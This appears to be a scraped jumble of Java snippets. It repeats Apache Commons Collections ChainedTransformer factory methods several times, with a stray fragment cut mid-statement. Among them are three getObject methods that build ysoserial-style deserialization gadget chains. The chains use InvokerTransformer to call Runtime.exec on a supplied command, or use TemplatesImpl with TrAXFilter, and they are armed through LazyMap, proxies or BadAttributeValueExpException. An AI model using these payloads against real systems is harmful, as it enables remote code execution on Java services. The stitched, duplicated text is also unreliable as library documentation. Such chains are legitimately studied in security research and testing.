/** * Factory method that performs validation. * * @param transformer1 the first transformer, not null * @param transformer2 the second transformer, not null * @return the <code>chained</code> transformer * @throws IllegalArgumentException if either transformer is null */ public static Transformer getInstance(Transformer transformer1, Transformer transformer2) { if (transformer1 == null || transformer2 == null) { throw new IllegalArgumentException("Transformers must not be null"); } Transformer[] transformers = new Transformer[] { transformer1, transformer2 }; return new ChainedTransformer(transformers); }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformers an array of transformers to chain * @return the transformer * @throws IllegalArgumentException if the transformers array is null * @throws IllegalArgumentException if any transformer in the array is null */ public static Transformer chainedTransformer(Transformer[] transformers) { return ChainedTransformer.getInstance(transformers); }
/** * Factory method that performs validation. * * @param transformer1 the first transformer, not null * @param transformer2 the second transformer, not null * @return the <code>chained</code> transformer * @throws IllegalArgumentException if either transformer is null */ public static Transformer getInstance(Transformer transformer1, Transformer transformer2) { if (transformer1 == null || transformer2 == null) { throw new IllegalArgumentException("Transformers must not be null"); } Transformer[] transformers = new Transformer[] { transformer1, transformer2 }; return new ChainedTransformer(transformers); }
/** * Create a new Transformer that calls two transformers, passing the result of * the first into the second. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformer1 the first transformer * @param transformer2 the second transformer * @return the transformer * @throws IllegalArgumentException if either transformer is null */ public static Transformer chainedTransformer(Transformer transformer1, Transformer transformer2) { return ChainedTransformer.getInstance(transformer1, transformer2); }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. The ordering is that of the iterator() * method on the collection. * * @param transformers a collection of transformers to chain * @return the <code>chained</code> transformer * @throws IllegalArgumentException if the transformers collection is null * @throws IllegalArgumentException if any transformer in the collection is null */ public static Transformer getInstance(Collection transformers) { if (transformers == null) { throw new IllegalArgumentException("Transformer collection must not be null"); } if (transformers.size() == 0) { return NOPTransformer.INSTANCE; } // convert to array like this to guarantee iterator() ordering Transformer[] cmds = new Transformer[transformers.size()]; int i = 0; for (Iterator it = transformers.iterator(); it.hasNext();) { cmds[i++] = (Transformer) it.next(); } FunctorUtils.validate(cmds); return new ChainedTransformer(cmds); }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. The ordering is that of the iterator() * method on the collection. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformers a collection of transformers to chain * @return the transformer * @throws IllegalArgumentException if the transformers collection is null * @throws IllegalArgumentException if any transformer in the collection is null */ public static Transformer chainedTransformer(Collection transformers) { return ChainedTransformer.getInstance(transformers); }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. The ordering is that of the iterator() * method on the collection. * * @param transformers a collection of transformers to chain * @return the <code>chained</code> transformer * @throws IllegalArgumentException if the transformers collection is null * @throws IllegalArgumentException if any transformer in the collection is null */ public static Transformer getInstance(Collection transformers) { if (transformers == null) { throw new IllegalArgumentException("Transformer collection must not be null"); } if (transformers.size() == 0) { return NOPTransformer.INSTANCE; } // convert to array like this to guarantee iterator() ordering Transformer[] cmds = new Transformer[transformers.size()]; int i = 0; for (Iterator it = transformers.iterator(); it.hasNext();) { cmds[i++] = (Transformer) it.next(); } FunctorUtils.validate(cmds); return new ChainedTransformer(cmds); }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformers an array of transformers to chain * @return the transformer * @throws IllegalArgumentException if the transformers array is null * @throws IllegalArgumentException if any transformer in the array is null */ public static Transformer chainedTransformer(Transformer[] transformers) { return ChainedTransformer.getInstance(transformers); }
/** * Factory method that performs validation and copies the parameter array. * * @param transformers the transformers to chain, copied, no nulls * @return the <code>chained</code> transformer * @throws IllegalArgumentException if the transformers array is null * @throws IllegalArgumentException if any transformer in the array is null */ public static Transformer getInstance(Transformer[] transformers) { FunctorUtils.validate(transformers); if (transformers.length == 0) { return NOPTransformer.INSTANCE; } transformers = FunctorUtils.copy(transformers); return new ChainedTransformer(transformers); }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. The ordering is that of the iterator() * method on the collection. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformers a collection of transformers to chain * @return the transformer * @throws IllegalArgumentException if the transformers collection is null * @throws IllegalArgumentException if any transformer in the collection is null */ public static Transformer chainedTransformer(Collection transformers) { return ChainedTransformer.getInstance(transformers); }
/** * Factory method that performs validation and copies the parameter array. * * @param transformers the transformers to chain, copied, no nulls * @return the <code>chained</code> transformer * @throws IllegalArgumentException if the transformers array is null * @throws IllegalArgumentException if any transformer in the array is null */ public static Transformer getInstance(Transformer[] transformers) { FunctorUtils.validate(transformers); if (transformers.length == 0) { return NOPTransformer.INSTANCE; } transformers = FunctorUtils.copy(transformers); return new ChainedTransformer(transformers); }
/** * Create a new Transformer that calls two transformers, passing the result of * the first into the second. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformer1 the first transformer * @param transformer2 the second transformer * @return the transformer * @throws IllegalArgumentException if either transformer is null */ public static Transformer chainedTransformer(Transformer transformer1, Transformer transformer2) { return ChainedTransformer.getInstance(transformer1, transformer2); }
new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers);
/** * Create a new Transformer that calls two transformers, passing the result of * the first into the second. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformer1 the first transformer * @param transformer2 the second transformer * @return the transformer * @throws IllegalArgumentException if either transformer is null */ public static Transformer chainedTransformer(Transformer transformer1, Transformer transformer2) { return ChainedTransformer.getInstance(transformer1, transformer2); }
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformers an array of transformers to chain * @return the transformer * @throws IllegalArgumentException if the transformers array is null * @throws IllegalArgumentException if any transformer in the array is null */ public static Transformer chainedTransformer(Transformer[] transformers) { return ChainedTransformer.getInstance(transformers); }
public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
/** * Create a new Transformer that calls two transformers, passing the result of * the first into the second. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformer1 the first transformer * @param transformer2 the second transformer * @return the transformer * @throws IllegalArgumentException if either transformer is null */ public static Transformer chainedTransformer(Transformer transformer1, Transformer transformer2) { return ChainedTransformer.getInstance(transformer1, transformer2); }
public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
/** * Create a new Transformer that calls each transformer in turn, passing the * result into the next transformer. * * @see org.apache.commons.collections.functors.ChainedTransformer * * @param transformers an array of transformers to chain * @return the transformer * @throws IllegalArgumentException if the transformers array is null * @throws IllegalArgumentException if any transformer in the array is null */ public static Transformer chainedTransformer(Transformer[] transformers) { return ChainedTransformer.getInstance(transformers); }